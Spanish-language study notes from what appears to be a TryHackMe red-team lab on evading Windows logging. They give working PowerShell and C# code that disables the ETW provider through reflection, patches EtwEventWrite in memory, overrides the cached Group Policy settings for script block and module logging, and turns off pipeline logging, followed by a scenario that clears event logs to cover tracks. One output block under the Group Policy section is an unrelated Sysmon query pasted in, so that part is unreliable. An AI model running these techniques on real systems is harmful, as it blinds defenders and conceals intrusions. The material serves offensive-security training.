Evading Logging and Monitoring

Event Tracing

Como se mencionó anteriormente, casi toda la capacidad de registro de eventos dentro de Windows se maneja desde ETW tanto a nivel de aplicación como de kernel. Si bien existen otros servicios como el registro de eventos y el registro de seguimiento, estos son extensiones de ETW o son menos frecuentes para los atacantes.

Componente	Objetivo
Controladores(Controllers)	Crear y configurar sesiones
Proveedores(Providers)	Generar eventos
Consumidores(Consumers)	Interpretar eventos

Cubriremos cada componente y cómo se instrumenta con más profundidad en la siguiente tarea.

---

Si bien son menos importantes para un atacante que los componentes, los ID de eventos son una característica central del registro de Windows. Los eventos se envían y transfieren en formato XML (lenguaje de marcado extensible), que es el estándar sobre cómo los proveedores definen e implementan los eventos. A continuación se muestra un ejemplo del ID de evento 4624: Se inició sesión correctamente en una cuenta .

Event ID:4624
Source:Security
Category:Logon/Logoff
Message:An account was successfully logged on.

Subject:
Security ID: NT AUTHORITY\\SYSTEM
Account Name: WORKSTATION123$
...
[ snip ]
...
Logon Type: 7

New Logon:
Security ID: CORPDOMAIN\\john.doe
Account Name: john.doe
...
[ snip ]
...
Process Information:
Process ID: 0x314

---

En este punto, entendemos por qué el registro puede perturbar a un atacante, pero ¿qué importancia tiene ETW para un atacante? ETW tiene visibilidad sobre la mayor parte del sistema operativo, mientras que el registro generalmente tiene visibilidad o detalles limitados.

Debido a la visibilidad de ETW, un atacante siempre debe estar atento a los eventos que podría generar al realizar su operación. El mejor enfoque para acabar con ETW es limitar al máximo su conocimiento de lo que está haciendo específicamente y al mismo tiempo mantener la integridad del entorno.

Approaches to Log Evasion

Antes de profundizar en las técnicas de evasión más modernas y técnicas, veamos los diversos enfoques disponibles y sus impactos en atacantes y defensores.

Cuando piensa y evalúa por primera vez la evasión de registros, puede pensar que simplemente destruir o alterar los registros puede ser viable.

Siguiendo las mejores prácticas de seguridad, es típico que un entorno moderno emplee el reenvío de registros. El reenvío de registros significa que el SOC moverá o "reenviará" registros desde la máquina host a un servidor central o indexador. Incluso si un atacante puede eliminar registros de la máquina host, es posible que ya estén fuera del dispositivo y protegidos.

Suponiendo que un atacante destruyó todos los registros antes de que se reenviaran, o si no se reenviaran, ¿cómo generaría esto una alerta? Un atacante debe considerar primero la integridad del entorno; Si no se originan registros en un dispositivo, esto puede presentar serias sospechas y dar lugar a una investigación. Incluso si un atacante controlara qué registros se eliminan y reenvían, los defensores aún podrían rastrear la manipulación.

ID de evento	Objetivo
1102	Registros cuando se borró el registro de auditoría de seguridad de Windows
104	Registros cuando se borró el archivo de registro
1100	Registra cuando se cerró el servicio de registro de eventos de Windows

Los ID de eventos anteriores pueden monitorear el proceso de destrucción de registros o "rotura de registros". Esto plantea un riesgo claro para los atacantes que intentan alterar o destruir los registros. Aunque es posible eludir aún más estas mitigaciones o alterar los registros, un atacante debe evaluar el riesgo. Al acercarse a un entorno, generalmente desconoce las prácticas de seguridad y corre un riesgo OPSEC ( Seguridad Operacional ) al intentar este enfoque.

Si el enfoque anterior es demasiado agresivo, ¿cómo podemos abordar estratégicamente el problema?

Un atacante debe centrarse en los registros que puede generar una técnica maliciosa para mantener intacta la integridad del entorno. Sabiendo qué se puede instrumentar en su contra, pueden utilizar o modificar los métodos publicados.

La mayoría de las técnicas publicadas apuntarán a los componentes de ETW, ya que eso permitirá al atacante tener el mayor control sobre el proceso de rastreo.

Tracing Instrumentation

ETW se divide en tres componentes separados, que trabajan juntos para administrar y correlacionar datos. Los registros de eventos en Windows no se diferencian de los datos XML genéricos , lo que facilita su procesamiento e interpretación.

Los controladores de eventos se utilizan para crear y configurar sesiones. Para ampliar esta definición, podemos pensar en el controlador como la aplicación que determina cómo y dónde fluirán los datos. De los documentos de Microsoft , “Los controladores son aplicaciones que definen el tamaño y la ubicación del archivo de registro, inician y detienen sesiones de seguimiento de eventos, habilitan a los proveedores para que puedan registrar eventos en la sesión, administran el tamaño del grupo de búfer y obtienen estadísticas de ejecución. para sesiones.”

Los proveedores de eventos se utilizan para generar eventos. Para ampliar esta definición, el controlador le indicará al proveedor cómo operar y luego recopilará registros de su fuente designada. De los documentos de Microsoft , “Los proveedores son aplicaciones que contienen instrumentación de seguimiento de eventos. Después de que un proveedor se registra, un controlador puede habilitar o deshabilitar el seguimiento de eventos en el proveedor. El proveedor define su interpretación de estar habilitado o deshabilitado. Generalmente, un proveedor habilitado genera eventos, mientras que un proveedor deshabilitado no”.

También hay cuatro tipos diferentes de proveedores compatibles con diversas funciones y sistemas heredados.

Proveedor	Objetivo
MOF ( formato de objeto administrado )	Define eventos de clases MOF. Habilitado por una sesión de seguimiento a la vez.
WPP ( Preprocesador de seguimiento de software de Windows )	Asociado con TMF (Trace Message Format) archivos Habilitado por una sesión de seguimiento a la vez.
Basado en manifiesto	Define eventos de un manifiesto. Habilitado por hasta ocho sesiones de seguimiento a la vez.
Registro de seguimiento	Eventos autodescriptivos que contienen toda la información requerida. Habilitado por hasta ocho sesiones de seguimiento a la vez.
Los consumidores de eventos se utilizan para interpretar eventos. Para ampliar esta definición, el consumidor seleccionará sesiones y analizará eventos de esa sesión o de varias al mismo tiempo. Esto se ve más comúnmente en el " Visor de eventos". De los documentos de Microsoft , “Los consumidores son aplicaciones que seleccionan una o más sesiones de seguimiento de eventos como fuente de eventos. Un consumidor puede solicitar eventos de múltiples sesiones de seguimiento de eventos simultáneamente; el sistema entrega los eventos en orden cronológico. Los consumidores pueden recibir eventos almacenados en archivos de registro o desde sesiones que entregan eventos en tiempo real”.

Cada uno de estos componentes se puede combinar para comprender y representar completamente el flujo de datos/sesiones dentro de ETW.

20231026111020.png

De principio a fin, los eventos se originan en los proveedores. Los controladores determinarán dónde se envían los datos y cómo se procesan a través de las sesiones. Los consumidores guardarán o entregarán registros para ser interpretados o analizados.

Ahora que entendemos cómo se instrumenta ETW, ¿cómo se aplica esto a los atacantes? Anteriormente mencionamos el objetivo de limitar la visibilidad manteniendo la integridad. Podemos limitar un aspecto específico de la información centrándonos en los componentes mientras mantenemos la mayor parte del flujo de datos. A continuación se muestra una breve lista de técnicas específicas dirigidas a cada componente de ETW.

Componente	Técnicas
Proveedor	Modificación de PSEtwLogProvider, toma de control de políticas de grupo, abuso de canalización de registros, creación de tipos
Controlador	Aplicación de parches a EtwEventWrite, manipulación del seguimiento en tiempo de ejecución,
Consumidores	Rotura de troncos, manipulación de troncos

Cubriremos cada una de estas técnicas en profundidad en las próximas tareas para proporcionar una gran caja de herramientas de posibilidades.

Reflection for Fun and Silence

Dentro de PowerShell , los proveedores ETW se cargan en la sesión desde un ensamblado .NET : PSEtwLogProvider. De los documentos de Microsoft , "Los ensamblados forman las unidades fundamentales de implementación, control de versiones, reutilización, alcance de activación y permisos de seguridad para aplicaciones basadas en .NET". Los ensamblados .NET pueden parecer extraños; sin embargo, podemos hacerlos más familiares sabiendo que toman forma en formatos familiares como un exe ( ejecutable ) o un dll ( biblioteca de tinta dinámica ).

En una sesión de PowerShell , la mayoría de los ensamblados .NET se cargan en el mismo contexto de seguridad que el usuario al inicio. Dado que la sesión tiene el mismo nivel de privilegio que los ensamblados cargados, podemos modificar los campos y valores del ensamblado mediante la reflexión de PowerShell. De O'Reilly , "Reflection le permite mirar dentro de un ensamblaje y descubrir sus características. Dentro de un ensamblaje .NET, se almacena información que describe lo que contiene el ensamblaje. Esto se llama metadatos. Un ensamblaje .NET es, en cierto sentido , autodescriptivo, al menos si se le interroga correctamente".

En el contexto de ETW ( E vent T racing para Windows ), un atacante puede reflejar el conjunto del proveedor de eventos ETW y establecer el campo m_enableden $null.

En un nivel alto, la reflexión de PowerShell se puede dividir en cuatro pasos:

1. Obtenga el ensamblado .NET para PSEtwLogProvider.

2. Almacene un valor nulo para etwProviderel campo.

3. Establezca el campo para m_enabledel valor previamente almacenado.

En el paso uno, necesitamos obtener el tipo de PSEtwLogProviderensamblaje. El ensamblaje se almacena para poder acceder a sus campos internos en el siguiente paso.

$logProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider')

En el paso dos, almacenamos un valor ( $null ) del ensamblaje anterior para utilizarlo.

$etwProvider = $logProvider.GetField('etwProvider','NonPublic,Static').GetValue($null)

En el paso tres, compilamos nuestros pasos para sobrescribir el m_enabledcampo con el valor almacenado en la línea anterior.

[System.Diagnostics.Eventing.EventProvider].GetField('m_enabled','NonPublic,Instance').SetValue($etwProvider,0);

Podemos compilar estos pasos juntos y agregarlos a un script de PowerShell malicioso . Utilice el script de PowerShell proporcionado y experimente con esta técnica.

Para demostrar la eficacia del script, podemos ejecutarlo y medir la cantidad de eventos devueltos por un comando determinado.

Antes

PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
7
PS C:\Users\Administrator> whoami
Tryhackme\administrator
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
11

Después

PS C:\Users\Administrator>.\reflection.ps1
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18
PS C:\Users\Administrator> whoami
Tryhackme\administrator
PS C:\Users\Administrator> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
18

En la primera terminal, vemos cuatro eventos generados cuando se ejecuta el comando whoami . Después de ejecutar el script en la segunda terminal, no vemos ningún evento generado al ejecutar un comando. En esta comparación, también podemos ver que el script de PowerShell crea siete eventos; esto debe tenerse en cuenta al evaluar un enfoque.

Patching Tracing Functions

ETW se carga desde el tiempo de ejecución de cada proceso nuevo , comúnmente originado desde CLR ( Common Language R untime) . Dentro de un nuevo proceso, los eventos ETW se envían desde la zona del usuario y se emiten directamente desde el proceso actual. Un atacante puede escribir códigos de operación predefinidos en una función en memoria de ETW para parchear y deshabilitar la funcionalidad. Antes de profundizar en los detalles específicos de esta técnica, observemos cómo se vería el parcheo en un nivel alto. En su definición más básica, estamos intentando forzar el cierre o el retorno de una aplicación antes de alcanzar la función que queremos parchear.

Para comprender mejor este concepto, creamos una pseudofunción básica que realizará operaciones matemáticas y luego devolverá un número entero. Si se inserta una declaración antes de la declaración original, el programa no completará las líneas siguientes.

int x = 1
int y = 3
return x + y

// output: 4  

int x = 1
return  x
int y = 3
return x + y

// output: 1 

20231026111138.png

Adaptando este concepto de alto nivel a nuestro objetivo, si podemos identificar cómo se llama el retorno en la memoria, podemos escribirlo en la función y esperar que se ejecute antes que cualquier otra línea. Esperamos que el retorno se coloque en la parte superior porque la pila utiliza una estructura LIFO ( Last In F irst Out ) . A la derecha hay un breve diagrama de cómo funciona la estructura LIFO. Ampliaremos cómo funciona la estructura LIFO a medida que profundicemos en esta tarea.

Ahora que entendemos un poco más sobre las declaraciones de retorno y la estructura LIFO, volvamos a cómo se aplica esto al seguimiento de eventos. Antes de escribir cualquier código o identificar pasos para parchear una función, debemos identificar una función maliciosa y los posibles puntos desde los que podemos regresar. Gracias a investigaciones previas sabemos que desde el CLR, ETW se escribe desde la función EtwEventWrite. Para identificar “puntos de parche” o devoluciones, podemos ver el desmontaje de la función.

779f2459 33cc		       xor	ecx, esp
779f245b e8501a0100	   call	ntdll!_security_check_cookie
779f2460 8be5		       mov	esp, ebp
779f2462 5d		         pop	ebp
779f2463 c21400		     ret	14h 

Al observar la función, buscamos un código de operación que devolverá la función o detendrá la ejecución de la función. A través de la investigación o la familiaridad con las instrucciones de ensamblaje, podemos determinar que ret 14hfinalizará la función y volverá a la aplicación anterior.

Según la documentación IA-32 , "la instrucción ret transfiere el control a la dirección del remitente ubicada en la pila".

En términos más técnicos, ret mostrará el último valor colocado en la pila. El parámetro de ret ( 14h) especificará el número de bytes o palabras liberadas una vez que se abre la pila.

Para neutralizar la función, un atacante puede escribir los bytes del código de operación de ret14h, c21400en la memoria para parchear la función.

Para comprender mejor lo que intentamos lograr en la pila, podemos aplicar el código de operación a nuestro diagrama LIFO anterior.

20231026111148.png

Ahora que tenemos una comprensión básica de los fundamentos centrales detrás de la técnica, veamos cómo se aplica técnicamente.

En un nivel alto, la aplicación de parches de ETW se puede dividir en cinco pasos:

1. Obtenga un mango paraEtwEventWrite

2. Modificar los permisos de memoria de la función.

3. Escribir bytes de código de operación en la memoria

4. Restablecer permisos de memoria de la función (opcional)

5. Vaciar el caché de instrucciones (opcional)

En el paso uno, necesitamos obtener un identificador para la dirección de EtwEventWrite. Esta función se almacena dentro de ntdll. Primero cargaremos la biblioteca usando LoadLibraryy luego obtendremos el identificador usando GetProcAddress.

var ntdll = Win32.LoadLibrary("ntdll.dll");
var etwFunction = Win32.GetProcAddress(ntdll, "EtwEventWrite");

En el paso dos, necesitamos modificar los permisos de memoria de la función para permitirnos escribir en la función. El permiso de la función está definido por el flNewProtectparámetro; 0x40habilita el acceso X, R o RW ( restricciones de protección de memoria ).

uint oldProtect;
Win32.VirtualProtect(
	etwFunction, 
	(UIntPtr)patch.Length, 
	0x40, 
	out oldProtect
);

En el paso tres, la función tiene los permisos que necesitamos para escribir en ella y tenemos el código de operación predefinido para parchearla. Debido a que estamos escribiendo en una función y no en un proceso, podemos usar el infame Marshal.Copypara escribir nuestro código de operación.

patch(new byte[] { 0xc2, 0x14, 0x00 });
Marshal.Copy(
	patch, 
	0, 
	etwEventSend, 
	patch.Length
);

En el paso cuatro, podemos comenzar a limpiar nuestros pasos para restaurar los permisos de memoria tal como estaban.

VirtualProtect(etwFunction, 4, oldProtect, &oldOldProtect);

En el paso cinco, podemos asegurarnos de que la función parcheada se ejecutará desde la memoria caché de instrucciones.

Win32.FlushInstructionCache(
	etwFunction,
	NULL
);

Podemos compilar estos pasos juntos y agregarlos a una sesión o script malicioso. Utilice el script C# proporcionado y experimente con esta técnica.

Una vez que el código de operación se escribe en la memoria, podemos ver la función desensamblada nuevamente para observar el parche.

779f23c0 c21400		    ret	14h
779f23c3 00ec		      add	ah, ch
779f23c5 83e4f8		    and	esp, 0FFFFFFF8h
779f23c8 81ece0000000	sub	esp, 0E0h

En el desmontaje anterior, vemos exactamente lo que representamos en nuestro diagrama LIFO ( figura 2 ).

Una vez que la función se parchea en la memoria, siempre regresará cuando EtwEventWritese llame.

Aunque se trata de una técnica bellamente diseñada, puede que no sea el mejor enfoque dependiendo de su entorno, ya que puede restringir más registros de los que desea para su integridad.

Providers via Policy

ETW tiene mucha cobertura lista para usar, pero deshabilitará algunas funciones a menos que se especifique debido a la cantidad de registros que pueden crear. Estas funciones se pueden habilitar modificando la configuración de GPO ( Objeto de política de grupo ) de su política principal. Dos de los proveedores de GPO más populares brindan cobertura sobre PowerShell, incluido el registro de bloques de scripts y el registro de módulos .

El registro de bloques de script registrará cualquier bloque de script ejecutado dentro de una sesión de PowerShell . Introducido en PowerShell v4 y mejorado en PowerShell v5, el proveedor ETW tiene dos ID de eventos que informará.

ID de evento	Objetivo
4103	Registra la invocación del comando
4104	Registra la ejecución del bloque de script

El ID de evento 4104 es más frecuente entre los atacantes y puede exponer sus scripts si no se ofuscan u ocultan adecuadamente. A continuación se muestra un ejemplo abreviado de cómo podría verse un registro 4104.

Event ID:4104
Source:Microsoft-Windows-PowerShell
Category:Execute a Remote Command
Log:Microsoft-Windows-PowerShell/Operational
Message:Creating Scriptblock text (1 of 1):
Write-Host PowerShellV5ScriptBlockLogging

ScriptBlock ID: 6d90e0bb-e381-4834-8fe2-5e076ad267b3
Path:

El registro de módulos es un proveedor muy detallado que registrará todos los módulos y datos enviados desde él. Introducido en PowerShell v3, cada módulo dentro de una sesión de PowerShell actúa como un proveedor y registra su propio módulo. De manera similar al proveedor anterior, los módulos escribirán eventos en el ID de evento 4103. A continuación se muestra un ejemplo de cómo se vería un registro 4103.

Event ID:4103
Source:Microsoft-Windows-PowerShell
Category:Executing Pipeline
Log:Microsoft-Windows-PowerShell/Operational

Message:CommandInvocation(Write-Host): "Write-Host"
ParameterBinding(Write-Host): name="Object"; 
value="TestPowerShellV5"

Context:
Severity = Informational
Host Name = ConsoleHost
...
[snip]
...
User = DOMAIN\\username
Connected User =
Shell ID = Microsoft.PowerShell

El ID de evento 4103 es menos frecuente entre los atacantes debido a la cantidad de registros creados. Esto a menudo puede resultar en que se trate con menos severidad o que se deshabilite por completo.

Aunque los atacantes tienen parches ETW disponibles, es posible que no siempre sean prácticos o no sean el mejor método para evadir el registro. Como alternativa, los atacantes pueden apuntar a estos proveedores para limitar lentamente la visibilidad sin ser tan obvios o ruidosos como otras técnicas.

El objetivo general de deshabilitar estos proveedores es limitar la visibilidad de los componentes que necesita y al mismo tiempo hacer que el entorno parezca intacto.

Group Policy Takeover

Los proveedores de registro de módulos y de bloques de secuencias de comandos están habilitados desde una política de grupo, específicamente . Como se mencionó en la tarea 4, dentro de una sesión de PowerShell , los ensamblados del sistema se cargan en el mismo contexto de seguridad que los usuarios. Esto significa que un atacante tiene el mismo nivel de privilegio que los ensamblados que almacenan en caché la configuración de GPO. Mediante la reflexión, un atacante puede obtener el diccionario de la utilidad y modificar la política de grupo para cualquiera de los proveedores de PowerShell.Administrative Templates -> Windows Components -> Windows PowerShell

A un nivel alto, la adopción de una política de grupo se puede dividir en tres pasos:

1. Obtenga la configuración de la política de grupo del caché de la utilidad.

2. Modifique el proveedor genérico a 0.

3. Modificar la invocación o definición del módulo.

Desglosaremos un script de PowerShell de ejemplo para identificar cada paso y explicar cada uno en profundidad a continuación.

En el paso uno, debemos utilizar la reflexión para obtener el tipo System.Management.Automation.Utilse identificar el campo de caché del GPOcachedGroupPolicySettings : .

$GroupPolicySettingsField = [ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings', 'NonPublic,Static')
$GroupPolicySettings = $GroupPolicySettingsField.GetValue($null)

En el paso dos, podemos aprovechar la variable GPO para modificar la configuración del proveedor de eventos a0 . EnableScriptBlockLoggingcontrolará 4104 eventos, limitando la visibilidad de la ejecución del script. La modificación se puede lograr escribiendo directamente en el objeto o registro.

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockLogging'] = 0

En el paso tres, podemos repetir el paso anterior con cualquier otra configuración del proveedor que queramos que EnableScriptBlockInvocationLoggingcontrole los eventos 4103 , limitando la visibilidad del cmdlet y la ejecución de la canalización.

$GroupPolicySettings['ScriptBlockLogging']['EnableScriptBlockInvocationLogging'] = 0

Podemos compilar estos pasos juntos y agregarlos a un script de PowerShell malicioso . Utilice el script de PowerShell proporcionado y experimente con esta técnica.

Nota: La funcionalidad principal del script es idéntica al código anterior, pero ligeramente modificada para cumplir con las actualizaciones de PowerShell v.5.1.

Para demostrar la eficacia del script, podemos ejecutarlo y medir la cantidad de eventos devueltos por un comando determinado.

Antes

PS C:\Users\Administrator\Desktop> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
0
PS C:\Users\Administrator\Desktop> whoami
Tryhackme\administrator
PS C:\Users\Administrator\Desktop> Get-WinEvent -FilterHashtable @{ProviderName="Microsoft-Windows-PowerShell"; Id=4104} | Measure | % Count
3

Después

PS C:\Users\THM-Analyst> Get-WinEvent -Path C:\Users\THM-Analyst\Desktop\Scenarios\Practice\Hunting_Metasploit.evtx -FilterXPath '*/System/EventID=3 and */EventData/Data[@Name="DestinationPort"] and */EventData/Data=4444'

   ProviderName: Microsoft-Windows-Sysmon

TimeCreated                     Id LevelDisplayName Message
-----------                     -- ---------------- -------
1/5/2021 2:21:32 AM              3 Information      Network connection detected:...

En la primera terminal, vemos que se generan tres eventos cuando se ejecuta el script de PowerShell . En la segunda terminal, después de ejecutar el script, vemos que no se generan eventos al ejecutar un comando.

Abusing Log Pipeline

Dentro de PowerShell , cada módulo o complemento tiene una configuración que cualquiera puede usar para modificar su funcionalidad de registro. De los documentos de Microsoft , "Cuando el valor de la propiedad LogPipelineExecutionDetails es TRUE ( $true), Windows PowerShell escribe eventos de ejecución de funciones y cmdlets en la sesión en el registro de Windows PowerShell en el Visor de eventos". Un atacante puede cambiar este valor $falseen cualquier sesión de PowerShell para deshabilitar el registro de un módulo para esa sesión específica. Los documentos de Microsoft incluso señalan la capacidad de deshabilitar el registro desde una sesión de usuario: "Para deshabilitar el registro, use la misma secuencia de comandos para establecer el valor de la propiedad en FALSO ($false )".

En un nivel alto, la técnica de canalización de registros se puede dividir en cuatro pasos:

1. Obtenga el módulo de destino.

2. Establezca los detalles de ejecución del módulo en $false.

3. Obtenga el complemento del módulo.

4. Establezca los detalles de ejecución del complemento en $false.

$module = Get-Module Microsoft.PowerShell.Utility # Get target module
$module.LogPipelineExecutionDetails = $false # Set module execution details to false
$snap = Get-PSSnapin Microsoft.PowerShell.Core # Get target ps-snapin
$snap.LogPipelineExecutionDetails = $false # Set ps-snapin execution details to false

El bloque de secuencia de comandos anterior se puede agregar a cualquier secuencia de comandos de PowerShell o ejecutarse en una sesión para deshabilitar el registro de módulos de los módulos importados actualmente.

Real World Scenario

En este escenario, usted es un operador del equipo rojo asignado para crear un script evasivo para deshabilitar ETW y ejecutar un binario compilado. En este escenario, la integridad del medio ambiente es crucial y el equipo azul está monitoreando activamente el medio ambiente. Su equipo le ha informado que su principal preocupación es monitorear el tráfico web; si se detiene, potencialmente alertarán su conexión. También se supone que el equipo azul está buscando registros sospechosos; sin embargo, no reenvían registros. Utilizando el conocimiento adquirido en esta sala, cree un script para ejecutar un binario o un comando sin interferencias.

Tarea Para comenzar este escenario debemos considerar el entorno en el que nos encontramos. Se nos proporciona información de que están monitoreando el tráfico web, pero ¿cómo lo están logrando? ¿Tienen habilitado el registro de PowerShell ? ¿Tienen Sysmon instalado? La mayoría de estas preguntas se pueden responder mediante la enumeración manual o buscando la configuración para habilitar funciones como se analiza en esta sala.

Con un poco de enumeración, podemos identificar que el bloque de secuencias de comandos de PowerShell y el registro del módulo están habilitados. Nuestro mejor enfoque para este problema es deshabilitar ambas configuraciones de GPO del caché para nuestra sesión de PowerShell. Esto se puede lograr utilizando la derivación de GPO ubicada en el escritorio, como se explica en la Tarea 8.

¡Excelente! A partir de ahora nuestra sesión estará en silencio, pero ¿qué pasa con esos molestos registros que se generan cuando se ejecuta el script? A partir de la información proporcionada, sabemos que los registros no se reenvían, por lo que podemos eliminar los registros 4104 o 4103 que se generaron. Debido a que la conexión a Internet no se origina desde PowerShell, no debemos preocuparnos de que se vea interrumpida en nuestra sesión silenciosa. Para eliminar los registros, podemos usar la GUI del Visor de eventos o Remove-EventLog en PowerShell . Los registros de bloques de scripts de PowerShell se encuentran en Microsoft/Windows/PowerShell/Operational o Microsoft-Windows-PowerShell. Luego puede seleccionar Borrar registro en acciones en la GUI o ejecutar el cmdlet de PowerShell para eliminar los registros necesarios.

En este punto ya deberíamos tener todos los parámetros cumplidos:

• Deshabilitar el registro cuando sea necesario

• Mantener la integridad del medio ambiente

• Limpia nuestras huellas

Ahora podemos probar nuestra metodología ejecutando el binario "agent.exe". Si se implementa correctamente, se devolverá una bandera al escritorio. Si no se implementa correctamente, aparecerá "Binario filtrado, te atraparon" , lo que significa que el binario apareció en los registros en algún momento y fallaste en el escenario.